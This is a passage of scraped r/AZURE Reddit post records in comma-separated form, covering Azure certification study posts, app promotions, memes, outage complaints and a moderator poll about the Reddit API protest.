[**@𝖠𝗓𝗎𝗋𝖾𝖲𝗎𝗉𝗉𝗈𝗋𝗍**](https://aka.ms/AzureSupport-Twitter) **on Twitter** (Yes, unfortunately, you will need to create a Twitter account). We do not have a support channel yet here on Reddit - Though, it is something that we are discussing. https://preview.redd.it/k7iqhidbyz151.png?width=925&format=png&auto=webp&s=464246a1590672335e68d696e1fa331fd6e39584 As a last resort, please tag me [u/DreyMS](https://www.reddit.com/u/DreyMS/) and I'll try to get to you when I can to see if I could somehow assist. Thanks, Drey",DreyMS,223,0,1590885705,/r/AZURE/comments/gtpfxk/stuck_with_an_unpleasant_experience_with_azure_or/,https://www.reddit.com/r/AZURE/comments/gtpfxk/stuck_with_an_unpleasant_experience_with_azure_or/,self.AZURE,True,,,,, u16q0z,azure,"Azure Administrator near 4-hour Study Cram just passed 200,000 views.","Thank you and hope it helps. https://youtu.be/VOod\_VNgdJk Other cert videos can be found via the repo at [https://github.com/johnthebrit/CertificationMaterials](https://github.com/johnthebrit/CertificationMaterials). Zero adverts or upsell. Good luck!",JohnSavill,223,52,1649680497,/r/AZURE/comments/u16q0z/azure_administrator_near_4hour_study_cram_just/,https://www.reddit.com/r/AZURE/comments/u16q0z/azure_administrator_near_4hour_study_cram_just/,self.AZURE,True,,,,, lc3cr5,azure,This guys home network and augmented reality room. Wtf,,AysSomething,221,34,1612400190,/r/AZURE/comments/lc3cr5/this_guys_home_network_and_augmented_reality_room/,https://v.redd.it/vwh33lldd7f61,v.redd.it,False,,,,, 1191ofa,azure,"That moment when Azure sends you a survey about their service when it took them over 48 hours to help you even though your request was Class A, 24 hours...",,pink_ninja15,214,58,1677077601,/r/AZURE/comments/1191ofa/that_moment_when_azure_sends_you_a_survey_about/,https://i.redd.it/fuq9ml0rosja1.jpg,i.redd.it,False,,,,, zm0vnf,azure,I made a self-service VM power on/off scheduling tool,,Ok-Librarian-784,211,35,1671048616,/r/AZURE/comments/zm0vnf/i_made_a_selfservice_vm_power_onoff_scheduling/,https://i.redd.it/vlq5pbw97x5a1.gif,i.redd.it,False,,,,, z91n2z,azure,Hung a 50” TV to the wall so had to christen it in style with the guru himself,,Ganjanium,211,23,1669838734,/r/AZURE/comments/z91n2z/hung_a_50_tv_to_the_wall_so_had_to_christen_it_in/,https://i.redd.it/9a8g5xivr63a1.jpg,i.redd.it,False,,,,, d6l0fu,azure,When talking to BDMs about the Cloud,,amroberto,206,22,1568930215,/r/AZURE/comments/d6l0fu/when_talking_to_bdms_about_the_cloud/,https://i.redd.it/3khxwq1jhmn31.jpg,i.redd.it,False,,,,, 1izj0tg,azure,What was Microsoft smoking when they came up with the PowerShell Graph cmdlets? At what point does Verb-Noun stop making sense? 12 consecutive nouns?,,Egoignaxio,202,78,1740671794,/r/AZURE/comments/1izj0tg/what_was_microsoft_smoking_when_they_came_up_with/,https://i.redd.it/vi6el98peple1.png,i.redd.it,False,,,,, 1458801,azure,Is the Azure Portal down or is it just me?,,Keeps_Trying,198,130,1686324374,/r/AZURE/comments/1458801/is_the_azure_portal_down_or_is_it_just_me/,https://i.redd.it/39p4opl2g05b1.jpg,i.redd.it,False,,,,, yed9hv,azure,[cmd.ms] the Microsoft Cloud command line!,"Hey folks, I wanted to share a small app that I hope all Azure admins and devs might find useful. Using the power of your keyboard and your memory you can now get to your favourite Microsoft portal or blade in seconds. [cmd.ms](https://cmd.ms) is basically a shortlink tool Try it out. Open a new tab and type {command}.[cmd.ms](http://cmd.ms/) using any of the commands or alias from the list below (see the full list at [cmd.ms](http://cmd.ms/)) https://preview.redd.it/odu1yop2o8w91.jpg?width=1308&format=pjpg&auto=webp&s=eead9dd6823ba62b4622196c8c10dfbb10253cf5 **Background** At some point I got tired of clicking multiple times in the Azure portal to get to a blade. So, I initially put together a list of [aka.ms](https://aka.ms) links in GitHub over at [aka.ms/commands](https://aka.ms/commands) and there was a lot of interest. The problem with [aka.ms](https://aka.ms) is that most of the memorable short names are already taken and either point to docs or to the product pricing page. That was when I came up with the idea for [cmd.ms](https://cmd.ms) **Contributing** The best part is that you can contribute your own commands to this open-source project by simply adding a line at [cmd/commands.csv at main · merill/cmd (github.com)](https://github.com/merill/cmd/blob/main/website/config/commands.csv) **Bonus!** For those who like autocomplete from the address bar you can get the browser extension from [cmd.ms/docs/tips](http://cmd.ms/docs/tips) &#x200B; https://i.redd.it/5it6l4j7q8w91.gif",merillf,198,28,1666829592,/r/AZURE/comments/yed9hv/cmdms_the_microsoft_cloud_command_line/,https://www.reddit.com/r/AZURE/comments/yed9hv/cmdms_the_microsoft_cloud_command_line/,self.AZURE,True,,,,, jbej7c,azure,"Documents over 3 months old might not even even be relevant, multiple products have the same names, SKUs change names, I waste so much time trying to figure this stuff out vs. actually just doing my job that its infuriating.",,mezbot,198,55,1602726787,/r/AZURE/comments/jbej7c/documents_over_3_months_old_might_not_even_even/,https://i.redd.it/j8ca46qvy5t51.jpg,i.redd.it,False,,,,, ql2wcd,azure,AZ-104 Azure Administrator Associate Study Cram - Nearly 4 hours - No adverts,,JohnSavill,196,36,1635855427,/r/AZURE/comments/ql2wcd/az104_azure_administrator_associate_study_cram/,https://youtu.be/VOod_VNgdJk,youtu.be,False,,,,, jpylql,azure,Got mine just now!,,masteronyo,196,26,1604784058,/r/AZURE/comments/jpylql/got_mine_just_now/,https://i.redd.it/nn747upexvx51.png,i.redd.it,False,,,,, 10317r7,azure,"The IT security department, when you want to move your company to the cloud:",,meshcloud,195,28,1672831315,/r/AZURE/comments/10317r7/the_it_security_department_when_you_want_to_move/,https://v.redd.it/ddjo8h6kg0aa1,v.redd.it,False,,,,, unzvqk,azure,AZ-900 9.5 Hour Free Course Update for May 2022 Changes,"I've completed the update to my free, zero-advert AZ-900 Azure Fundamentals course for the May 2022 content changes. This includes playlist and handout. Enjoy and good luck. 📽️ AZ-900 Full 9.5-hour Course Playlist (then study cram) - https://youtube.com/playlist?list=PLlVtbbG169nED0\_vMEniWBQjSoxTsBYS3 📖 AZ-900 Course Handout - https://github.com/johnthebrit/AZ900CertCourse",JohnSavill,191,25,1652358364,/r/AZURE/comments/unzvqk/az900_95_hour_free_course_update_for_may_2022/,https://www.reddit.com/r/AZURE/comments/unzvqk/az900_95_hour_free_course_update_for_may_2022/,self.AZURE,True,,,,, l385r1,azure,Interesting one for Signal users.,,b0nd0007,182,20,1611389276,/r/AZURE/comments/l385r1/interesting_one_for_signal_users/,https://i.redd.it/newdt444i1d61.jpg,i.redd.it,False,,,,, qtahwo,azure,Passed the 304 to complete my expert certification today!!,,hxcjosh23,181,23,1636838639,/r/AZURE/comments/qtahwo/passed_the_304_to_complete_my_expert/,https://imgur.com/iw99aGQ,imgur.com,False,,,,, mkfzww,azure,"Big Data Pipeline on AWS, Microsoft Azure, and Google Cloud",,satishcgupta,181,15,1617611953,/r/AZURE/comments/mkfzww/big_data_pipeline_on_aws_microsoft_azure_and/,https://i.redd.it/82cgd6zaebr61.png,i.redd.it,False,,,,, crqcjy,azure,I found a picture of the monitors the azure UX team think everybody owns.,,Eniugnas,181,27,1566068391,/r/AZURE/comments/crqcjy/i_found_a_picture_of_the_monitors_the_azure_ux/,https://i.imgur.com/YPNIRrl.jpg,i.imgur.com,False,,,,, lmmnvi,azure,"20-hour advertising free Azure Master Class - Links to the training and all handouts, whiteboards, code etc.",,JohnSavill,178,34,1613654521,/r/AZURE/comments/lmmnvi/20hour_advertising_free_azure_master_class_links/,https://github.com/johnthebrit/AzureMasterClass,github.com,False,,,,, ecudqa,azure,Working with ARM templates,,etzolin,176,12,1576767910,/r/AZURE/comments/ecudqa/working_with_arm_templates/,https://i.redd.it/htm5icmuul541.jpg,i.redd.it,False,,,,, 14ww221,azure,Azure AD renamed to Microsoft Entra ID,"Really quick video covering the Azure AD to Microsoft Entra ID rename. Not a functionality change or licensing change. Just the name. https://youtu.be/sVq7qjU9LNE Official blog at https://www.microsoft.com/en-us/security/blog/2023/07/11/microsoft-entra-expands-into-security-service-edge-and-azure-ad-becomes-microsoft-entra-id/.",JohnSavill,168,128,1689092902,/r/AZURE/comments/14ww221/azure_ad_renamed_to_microsoft_entra_id/,https://www.reddit.com/r/AZURE/comments/14ww221/azure_ad_renamed_to_microsoft_entra_id/,self.AZURE,True,,,,, 1087f7s,azure,Azure Security Engineer learning path added to Learn Azure app,"Learn Azure is an app [**for iOS**](https://apps.apple.com/us/app/learn-azure-fundamentals/id1531326622) and [**Android**](https://play.google.com/store/apps/details?id=com.learnazure.app) which helps you to prepare for Azure Certification exams. Now it contains learning content and knowledge check for 6 exams and more is under development now. In new update you'll find: * Database of 400+ questions about *security* in Azure + explanation for each correct answer * AZ-500 exam simulator * 20+ quizzes for knowledge check of each topic of AZ-500 * Learning content that is organized according to AZ-500 [Study Guide](https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE3VC70) from Microsoft * Video course * Practice labs Website - [https://learnazure.app](https://learnazure.app/) &#x200B; &#x200B; [20+ quizzes for knowledge check of each topic of AZ-500](https://preview.redd.it/15q7ri3e57ba1.png?width=1290&format=png&auto=webp&v=enabled&s=e3af8b533430330809b54a51be4a4249f840fbcc) &#x200B; [Database of 400+ questions about security in Azure + explanation for each correct answer](https://preview.redd.it/f7cobj3e57ba1.png?width=1290&format=png&auto=webp&v=enabled&s=4d7690624319f5fd219c6e2a43db2e6556011236) &#x200B; [AZ-500 exam simulator results](https://preview.redd.it/25tzej3e57ba1.png?width=1290&format=png&auto=webp&v=enabled&s=f17d5e0491c98d2528ff49fc60504e0964dd76eb) &#x200B; [AZ-500 exam simulator ](https://preview.redd.it/f94pdi3e57ba1.png?width=1290&format=png&auto=webp&v=enabled&s=8941489a5991ec2201cb3af7181552b86f0bc242) [Learning paths](https://preview.redd.it/bpy17k3e57ba1.png?width=1290&format=png&auto=webp&v=enabled&s=2c355c6f919fc71a7e0ecb3a20c8b5c478b39ef0) [Content structurized according to MS Study Guide](https://preview.redd.it/onesmn3e57ba1.png?width=2048&format=png&auto=webp&v=enabled&s=e76f1c41fcc344b93aa89accf3a978eedb15d34e)",licedey,168,19,1673349583,/r/AZURE/comments/1087f7s/azure_security_engineer_learning_path_added_to/,https://www.reddit.com/r/AZURE/comments/1087f7s/azure_security_engineer_learning_path_added_to/,self.AZURE,True,,,,, zfkura,azure,It's a bit old but still a lifesaver if you are porting from another provider,,fokke2508,167,19,1670463139,/r/AZURE/comments/zfkura/its_a_bit_old_but_still_a_lifesaver_if_you_are/,https://i.redd.it/4imudgxk0e4a1.png,i.redd.it,False,,,,, qnkofv,azure,"Taking a chance for a $50,000 pay increase!","Hey guys, I just wanted to thank everyone here. I currently work for a company making $65k/year as a cloud engineer and kept having recruiters reach out to me on LinkedIn trying to recruit me. With 3 years of Azure experience, and various skills in many different areas, I decided to interview for one of these positions. Five interviews later, I was offered the position which almost doubled my current salary. I brought this up to my current employer, which is a pretty decent sized company, and they told me they couldn't afford that because not even the senior people make that. Anyways, I'm excited to start my new position but nervous. I'm not like an Azure god or anything but I do know a few things. What if I suck? Gotta take those risks I guess",apdunshiz,166,58,1636146428,/r/AZURE/comments/qnkofv/taking_a_chance_for_a_50000_pay_increase/,https://www.reddit.com/r/AZURE/comments/qnkofv/taking_a_chance_for_a_50000_pay_increase/,self.AZURE,True,,,,, 1132otj,azure,AI fundamentals path added to Learn Azure app,"This post is for those who are interested in artificial intelligence and Azure AI Services. We have developed and added preparation for the Microsoft Azure AI Fundamentals (AI-900) exam to [Learn Azure](https://learnazure.app) app. In new update you'll find: \* Database of 400+ questions about AI services in Azure + explanation for each correct answer \* Free structurized tutorials, videos and practice labs about such topics: computer vision anomaly detection knowledge mining machine learning image classification object detection OCR face detection & recognition form recognizer bots & Azure Bot Service NLP: keyphrase extraction, entity recognition, sentiment analysis, speech recognition and synthesis, translation \* AI-900 exam simulator \* New learning progress tracker &#x200B; Also, in the new update we have fully reviewed and fix errors in AZ-900. Many thanks to /u/spuddr for that. &#x200B; [Download for iOS](https://apps.apple.com/us/app/learn-azure-fundamentals/id1531326622) [Download for Android](https://play.google.com/store/apps/details?id=com.learnazure.app) &#x200B; &#x200B; [10 quizzes for each topic](https://preview.redd.it/rjpk5ppgudia1.png?width=1290&format=png&auto=webp&v=enabled&s=0e349d00852d88db60ebc02165684f0d779096b4) &#x200B; &#x200B; [AI-900 exam simulator](https://preview.redd.it/aqv5zx3cvdia1.png?width=1290&format=png&auto=webp&v=enabled&s=dadcfb0e8a1a1c554f74644b69f514c6b68dc1b2) &#x200B; [New Progress Tracker](https://preview.redd.it/wtqh8wi6vdia1.png?width=1290&format=png&auto=webp&v=enabled&s=989f2b8f987406ed1b69131acbff62a8eb4d54d5)",licedey,164,1,1676480437,/r/AZURE/comments/1132otj/ai_fundamentals_path_added_to_learn_azure_app/,https://www.reddit.com/r/AZURE/comments/1132otj/ai_fundamentals_path_added_to_learn_azure_app/,self.AZURE,True,,,,, iftppp,azure,Day 75.,,12inchpoops,164,32,1598290771,/r/AZURE/comments/iftppp/day_75/,https://i.imgur.com/6aYpuuA.png,i.imgur.com,False,,,,, fyvtue,azure,"Just made AZ-104 exam skills outline mindmap, good luck guys",,ChillaxJ,164,15,1586576760,/r/AZURE/comments/fyvtue/just_made_az104_exam_skills_outline_mindmap_good/,https://i.redd.it/rilwqw6hnjq41.jpg,i.redd.it,False,,,,, kfukq4,azure,Does this entire sub just exist for people talking about getting Microsoft certs?,"90% of the posts seem to center around passing MS exams in regards to Azure. “How do I pass this test with no real world experience with the ecosystem?” “I just passed my AZ-900 today! Here’s how I did it” This seems to be the wide majority of the posts on here. Is there a subreddit that is more focused on solving actual technical challenges with Azure tools?",UTDoctor,157,72,1608328506,/r/AZURE/comments/kfukq4/does_this_entire_sub_just_exist_for_people/,https://www.reddit.com/r/AZURE/comments/kfukq4/does_this_entire_sub_just_exist_for_people/,self.AZURE,True,,,,, hy4n0e,azure,FREE Hands-On-Labs (HOL) to clear Microsoft Certifications available on official github page,,saintdle,156,18,1595758836,/r/AZURE/comments/hy4n0e/free_handsonlabs_hol_to_clear_microsoft/,https://github.com/MicrosoftLearning,github.com,False,,,,, lh5fz3,azure,Tailwind Traders' employees at every single meeting. Hope you guys like this meme I made :D,,_The_Architect,154,27,1612995214,/r/AZURE/comments/lh5fz3/tailwind_traders_employees_at_every_single/,https://i.redd.it/ppsoqnwx4qg61.png,i.redd.it,False,,,,, n7ds7x,azure,New Azure Logo,,jpontech,150,54,1620435845,/r/AZURE/comments/n7ds7x/new_azure_logo/,https://i.redd.it/owx6nbi7qsx61.jpg,i.redd.it,False,,,,, fqk79r,azure,How to burn the most money with a single click in Azure,,Metalnem,149,30,1585402207,/r/AZURE/comments/fqk79r/how_to_burn_the_most_money_with_a_single_click_in/,https://mijailovic.net/2020/03/28/azure-money-burning/,mijailovic.net,False,,,,, imnn65,azure,Pentagon says it will stick with Microsoft for $10 billion JEDI cloud contract,,MattW224,149,38,1599251307,/r/AZURE/comments/imnn65/pentagon_says_it_will_stick_with_microsoft_for_10/,https://www.cnbc.com/2020/09/04/pentagon-says-it-will-stick-with-microsoft-for-jedi-cloud-contract.html,cnbc.com,False,,,,, s8je7g,azure,"""Azure AD is not AD in the cloud"" I’ve said many times in past videos. But what IS AD then? Well in this video I answer that!",,JohnSavill,149,41,1642686496,/r/AZURE/comments/s8je7g/azure_ad_is_not_ad_in_the_cloud_ive_said_many/,https://youtu.be/4qC7H-y7oKI,youtu.be,False,,,,, 10ec6eb,azure,Start of my journey to the Azure Administrator role + AZ-900 Passed,"I work on a helpdesk of a middle-size IT company and have been looking for career growth opportunities for a long time. I decided to move towards the Azure Administrator role, as this role is most suitable for my current skillset. &#x200B; **Start** After registering in Azure and receiving free credits, I began experimenting with the Cloud. After creating several Azure services such as Azure VM, Azure SQL server, I realized that it would be nice to manage resources when I am away from the desktop. Overall, my life has been quite mobile in recent years and I work mostly remotely. Along with the mobile app for Azure, I also found the [Learn Azure](https://learnazure.app) app in the app store. This is how I learned about certification paths and found learning materials, as well as received several dozens of tasks for hands-on practice. &#x200B; **Preparation** I started preparing for AZ-900 by studying tutorials that are divided by topics and taking quizzes related to them. I allocated an average of 2 hours on weekdays and 4 hours on one of the weekends. It looked something like this: * In the morning, I took 2-3 tests in the app and read materials on each topic with a fresh mind. * In the evening, after work, I additionally watched videos and completed 1-2 practice labs. * On weekends, I could take a simulation exam and watch a few videos by John Savill on the materials that were unfamiliar to me. My knowledge in Azure equals the very begginer at that time. Doing practice labs and passing tests gave me the confidence of how the Azure services works and what is Cloud computing in overall. In this mode, it took about two weeks to prepare for Azure Fundamentals exam. After 10 days of training and passed tests, I scheduled the real AZ-900. &#x200B; **Exam Day** I chose a time of the exam in the middle of the day to be in shape and have time to prepare. I took the exam remotely, so I had to prepare the workspace and ID in advance. An hour before the exam, I cleaned the table, close all programs, check internet connection and prepared the reserved WiFi from iPhone. Then went through the exam materials one more time. The proctor appeared 15 minutes before the exam and asked me to take a picture of the whole room and my ID. He also asked me to hide all my things and turn around a second monitor. During the exam, he made a few comments if I scratched my nose or spoke the question aloud, which brought discomfort to me. The exam lasted for about an hour. The topics were familiar, but the questions were obviously harder than in the Learn Azure exam simulator. [🎉](https://emojipedia.org/party-popper/) I passed the exam with 790 points out of 1000. In the Learn Azure app, I was able to pass the exam on the second try with 740 points. It is obvious that Microsoft's scoring system is more advanced, and I assume that wrong answers are also taken into account. Like multi-choice questions or drag&drop questions may took into account percentage of correctness of my answer. Although, it is just my assumption based on the complex questions for which I didn't know the exact answer. I believe there has been 35-40% of them &#x200B; **What's next?** I'm currently preparing for the AZ-104 through MS Learn + John Savill + Learn Azure on the go. I've noticed that many topics from the AZ-104 overlap with the AZ-900, but require more deep investiagtion. I'm learning the same way as during AZ-900 preparation. That is, I allocate about 20 hours a week including one weekend. Along the way, I'm sending resumes to companies for the role of Azure Cloud Administrator. Already got several interview invitations. In parallel, I am doing small tasks on freelance and for my friend that relates to Azure Administration to get real-world Azure experience. I'm planning to take AZ-104 exam at the beginning of next month. And expect to get an Azure Administrator role by the summer. &#x200B; **Links** Learn Azure for iOS/iPadOS - [https://apps.apple.com/us/app/learn-azure-fundamentals/id1531326622](https://apps.apple.com/us/app/learn-azure-fundamentals/id1531326622) Learn Azure for Android - [https://play.google.com/store/apps/details?id=com.learnazure.app](https://play.google.com/store/apps/details?id=com.learnazure.app) &#x200B; John Savill AZ-900 Study Cram - [https://www.youtube.com/watch?v=tQp1YkB2Tgs](https://www.youtube.com/watch?v=tQp1YkB2Tgs) John Savill AZ-104 Study Cram - [https://www.youtube.com/watch?v=VOod\_VNgdJk](https://www.youtube.com/watch?v=VOod_VNgdJk) &#x200B; AZ-900 Study Guide - [https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE3VwUY](https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE3VwUY) AZ-104 Study Guide - [https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4pCWy](https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4pCWy) &#x200B; &#x200B; https://preview.redd.it/jnyw5j4culca1.png?width=314&format=png&auto=webp&v=enabled&s=e198d06b5686a0e3f07e9c2fe73b3aa3cc6befb0",cloudlearner1,147,15,1673961844,/r/AZURE/comments/10ec6eb/start_of_my_journey_to_the_azure_administrator/,https://www.reddit.com/r/AZURE/comments/10ec6eb/start_of_my_journey_to_the_azure_administrator/,self.AZURE,True,,,,, 9ijomt,azure,"Microsoft Launches an all new FREE learning platform, Microsoft Learn! EVERYTHING MSFT and Azure!!!!!",,shehackspurple,145,43,1537808372,/r/AZURE/comments/9ijomt/microsoft_launches_an_all_new_free_learning/,https://docs.microsoft.com/en-ca/learn/?WT.mc_id=Learn-Reddit-tajanca,docs.microsoft.com,False,,,,, 1e6zlq6,azure,Microsoft and Crowdstrike Outage,"Been watching the news for the last hour and it triggers me that the people reporting the news (being their headline title) don’t have a clue about IT. Just get someone with half a brain cell about IT on the line 😂",Ok-Persimmon-549,145,86,1721381332,/r/AZURE/comments/1e6zlq6/microsoft_and_crowdstrike_outage/,https://www.reddit.com/r/AZURE/comments/1e6zlq6/microsoft_and_crowdstrike_outage/,self.AZURE,True,,,,, qb8x4l,azure,"After Months of Months of Working on AWS, Finally It's Time to Switch to Azure, Wish Me Luck Guys! :')",,DCGMechanics,145,60,1634640507,/r/AZURE/comments/qb8x4l/after_months_of_months_of_working_on_aws_finally/,https://i.redd.it/m120fg9yzdu71.jpg,i.redd.it,False,,,,, qrknpc,azure,learn.onboardtoazure.com new curated learning path,"I've been asked a lot of times about my recommended path for learning Azure. I have playlists etc on my channel but to help answer that question I've created a new site: https://learn.onboardtoazure.com This just provides a curated path of my videos, MS Learn and some other free resources that I think is one option for learning Azure and gaining credentials. All free, zero adverts, just something that may help. https://youtu.be/fi6yuyX6xAY introduces the site. Good luck",JohnSavill,144,37,1636635187,/r/AZURE/comments/qrknpc/learnonboardtoazurecom_new_curated_learning_path/,https://www.reddit.com/r/AZURE/comments/qrknpc/learnonboardtoazurecom_new_curated_learning_path/,self.AZURE,True,,,,, lae6gd,azure,Microsoft reveals its MASSIVE data center (Full Tour),,cocallaw,143,43,1612213651,/r/AZURE/comments/lae6gd/microsoft_reveals_its_massive_data_center_full/,https://youtu.be/80aK2_iwMOs,youtu.be,False,,,,, agclox,azure,Life in a dev shop without a systems team,,Thriven,142,13,1547582525,/r/AZURE/comments/agclox/life_in_a_dev_shop_without_a_systems_team/,https://i.imgur.com/XSqrYLt.png,i.imgur.com,False,,,,, uaq5p4,azure,Learn Azure v2.7.2 has been released,[removed],licedey,141,5,1650788745,/r/AZURE/comments/uaq5p4/learn_azure_v272_has_been_released/,https://www.reddit.com/r/AZURE/comments/uaq5p4/learn_azure_v272_has_been_released/,self.AZURE,True,,,,, 1djnirj,azure,AMA: I'm an Azure Support engineer,[deleted],[deleted],140,149,1718814798,/r/AZURE/comments/1djnirj/ama_im_an_azure_support_engineer/,,,True,,,,, 10g0w7z,azure,AZ-900 passed with no past experience in Azure,"I just started my journey into Azure world a couple of months ago. Here is the short summary. What is my motivation of getting passed Azure Certification? * To expand my skill set and increase value to my current employer * To be more attractive to potential employers and increase chances of getting hired * Cloud computing is a rapidly growing field and is becoming an increasingly important aspect of the technology industry How did I stay motivated? * Set achievable goal with deadline. In my case, the goal was to prepare and pass AZ-900 in Jan 2023 * Track your progress. I used progress tracker and reminders from Learn Azure app. Although you can do the same manually like with a notes and calendar apps * Find a study buddy or accountability partner to keep you on track. I found a partner here on /r/AzureCertification in private messages * Break up your study sessions into smaller, manageable chunks of time. That has been already done by the app and MS Learn. I knew how much time will take of watching a video, reading tutorial and pass some tests about topics I learned * Remind yourself of why you're doing this and the benefits of self-learning. I setup a dayliy reminder with my goal in the title of it Learning Materials that I used for AZ-900 preparation * [MS Learn](https://learn.microsoft.com/en-us/certifications/exams/az-900). I went through 3 learning paths * [freeCodeCamp AZ-900 course in 3 hours](https://www.youtube.com/watch?v=NKEFWyqJ5XA). It's a bit old, but I downloaded it first and watched on the go * [Learn Azure](https://learnazure.app) app. I did knowledge checks there via quizzes. I did it offline too. Also, took free practice labs that I can't find around the web from there. I invest in all exams bundle, as going to pass at least 2 more exams Passing score: 790 Next paths: AZ-104 and AZ-305",MashaPoland,140,22,1674132575,/r/AZURE/comments/10g0w7z/az900_passed_with_no_past_experience_in_azure/,https://www.reddit.com/r/AZURE/comments/10g0w7z/az900_passed_with_no_past_experience_in_azure/,self.AZURE,True,,,,, 101di6f,azure,AZ-305 certification path added to Learn Azure app,"I added AZ-305 certification path to Learn Azure app which is available for [**iOS**](https://apps.apple.com/us/app/learn-azure-fundamentals/id1531326622) / [**Android**](https://play.google.com/store/apps/details?id=com.learnazure.app). In new update you'll find: * Database of 500+ new AZ-305 questions + explanation for each correct answer * AZ-305 exam simulator * 20+ quizzes for knowledge check of each topic of AZ-305 * Learning content that is organized according to AZ-305 [Study Guide](https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWLFRU) from Microsoft * Video course * Practice labs Website - [https://learnazure.app](https://learnazure.app) &#x200B; &#x200B; [Learning content that is organized according to AZ-305 Study Guide from Microsoft](https://preview.redd.it/edzct11d1n9a1.png?width=1170&format=png&auto=webp&v=enabled&s=4f0e8d05b08ffd89565e2c3213b8cf7ac424bc54) &#x200B; [Database of 500+ new AZ-305 questions + explanation for each correct answer](https://preview.redd.it/2ve5z11d1n9a1.png?width=1170&format=png&auto=webp&v=enabled&s=0c0c4262586f69a8ae9430c696bf2e78a32aaa37) &#x200B; [AZ-305 exam simulator](https://preview.redd.it/s3sjq21d1n9a1.png?width=1170&format=png&auto=webp&v=enabled&s=b9a7df291ae3ca9ae06b207f1ed1cd2d0146b6fe) &#x200B; [View your AZ-305 exam results](https://preview.redd.it/juhaz11d1n9a1.png?width=1170&format=png&auto=webp&v=enabled&s=953fd80d403b85812a6025051a9bb735c4f9d0f5)",licedey,140,17,1672668678,/r/AZURE/comments/101di6f/az305_certification_path_added_to_learn_azure_app/,https://www.reddit.com/r/AZURE/comments/101di6f/az305_certification_path_added_to_learn_azure_app/,self.AZURE,True,,,,, 1463s6i,azure,Should /r/azure join the protest?,"Edit: thank you all for voting. We will see you on Tuesday and your mod team is getting some well deserved time off. :) If you’ve been around Reddit the past few days, you have definitely have seen posts in a lot of subreddits where they are planning to go private on June 12th through the 14th. This is to protest the changes Reddit is planning to API access, the primary issue being the rates they plan to charge are astronomical compared to most data services (including Azure). Reddit has depended on third party tools and developers for a long time. Back before there were 1st party mobile apps, others came in to fill the gap. There’s developers filling needs that Reddit has not communicated plans to, like accessibility features for the visually impaired. Most bots, RES and mod tools also use the API. But since this is a community, we don’t feel it is our place to make the decision for you. As a mod team, we are a little torn. Most of us are knee jerking to go private (your entire team is in tech at some capacity); however, we realize that some use this subreddit as a means of support. Additionally, I also recognize that some mods are active employees of Microsoft so I want to make sure we have data from this community to back up our decision either way. (Put bluntly, I want to cover their asses). Regardless as to where this vote goes, we will be creating an official unofficial Azure discord over the next day and that will be posted soon. Additional context that you may not have seen: [https://www.reddit.com/r/apolloapp/comments/144f6xm/apollo\_will\_close\_down\_on\_june\_30th\_reddits/](https://www.reddit.com/r/apolloapp/comments/144f6xm/apollo_will_close_down_on_june_30th_reddits/) Also here: https://old.reddit.com/r/reddit/comments/145bram/addressing_the_community_about_changes_to_our_api/ [View Poll](https://www.reddit.com/poll/1463s6i)",hellodeveloper,136,57,1686412654,/r/AZURE/comments/1463s6i/should_razure_join_the_protest/,https://www.reddit.com/r/AZURE/comments/1463s6i/should_razure_join_the_protest/,self.AZURE,True,,,,, kcbz5o,azure,What it looks like when you set a £300 budget on your subscription and Azure doesn't fire a cost alert until 2 days after your costs blow through it,[deleted],[deleted],136,44,1607871651,/r/AZURE/comments/kcbz5o/what_it_looks_like_when_you_set_a_300_budget_on/,https://imgur.com/qwGg26c,imgur.com,False,,,,, lvfbst,azure,Doing some Azure pentesting training and I make tech logos for the stuff I work on for fun.,,savvyspoon2,135,24,1614620610,/r/AZURE/comments/lvfbst/doing_some_azure_pentesting_training_and_i_make/,https://i.redd.it/xv67dqiiegk61.jpg,i.redd.it,False,,,,, py4pdu,azure,"Azure is out of computers, at least in some regions","> [As of today] you have been identified as a customer using Virtual Machines in East US 2 who may receive error notifications when performing service management operations - such as create, delete, update, scaling, start, stop - for resources hosted in this region. > Current Status: We observed a spike in requests for VMs in this region. We will continue to investigate and develop a mitigation workstream. The next update will be provided on 4 Oct 2021, or as events warrant. Are you guys serious? I'm seeing production processes fail because VMs can't be spun up due to your inability to manage your hardware, and your plan is ""we'll see how things are going next week""? Is this a joke?",[deleted],135,120,1632949558,/r/AZURE/comments/py4pdu/azure_is_out_of_computers_at_least_in_some_regions/,https://www.reddit.com/r/AZURE/comments/py4pdu/azure_is_out_of_computers_at_least_in_some_regions/,self.AZURE,True,,,,, egsjfj,azure,Microsoft Certified: Azure Solutions Architect Expert achieved," I managed to finish 2019 strong by passing az-300 and az-301 exams and earned **Microsoft Certified: Azure Solutions Architect Expert** certification. Both exams are pretty challenging but definitely doable. I have captured my learning process, resources and some tips & tricks in 2 GitHub repos, one for each exam: [https://github.com/Piotr1215/az-300-prep-kit](https://github.com/Piotr1215/az-300-prep-kit) [https://github.com/Piotr1215/az-301-prep-kit](https://github.com/Piotr1215/az-301-prep-kit) I hope someone will find it useful.",piotr1215,133,43,1577549782,/r/AZURE/comments/egsjfj/microsoft_certified_azure_solutions_architect/,https://www.reddit.com/r/AZURE/comments/egsjfj/microsoft_certified_azure_solutions_architect/,self.AZURE,True,,,,, m5szbz,azure,⚠️We are investigating an issue impacting Azure Active Directory.,,DreyMS,131,131,1615837227,/r/AZURE/comments/m5szbz/we_are_investigating_an_issue_impacting_azure/,https://twitter.com/AzureSupport/status/1371544292502564866,twitter.com,False,,,,, 10deq8f,azure,I often get asked which OS and hypervisor are used by our Azure Cloud hosts. Here is the answer:,,ThomasMaurerCH,130,32,1673876198,/r/AZURE/comments/10deq8f/i_often_get_asked_which_os_and_hypervisor_are/,https://techcommunity.microsoft.com/t5/windows-os-platform-blog/azure-host-os-cloud-host/ba-p/3709528?WT.mc_id=modinfra-0000-thmaure,techcommunity.microsoft.com,False,,,,, 1566fv5,azure,I Passed AZ900 🎉🎊,[removed],Nina-Miedosa,130,34,1689989465,/r/AZURE/comments/1566fv5/i_passed_az900/,https://www.reddit.com/r/AZURE/comments/1566fv5/i_passed_az900/,self.AZURE,True,,,,, y2xji1,azure,New major version of Learn Azure has been released. Prepare for AZ-900/AZ-104/AZ-204/AZ-400 on the go,"Last 3 months, I have actively worked on the new major version of [Learn Azure app](https://learnazure.app) I tried to collect the best content for AZ-exams preparation around the web, as well as implement functionality for Azure knowledge checking, which will help users before jumping 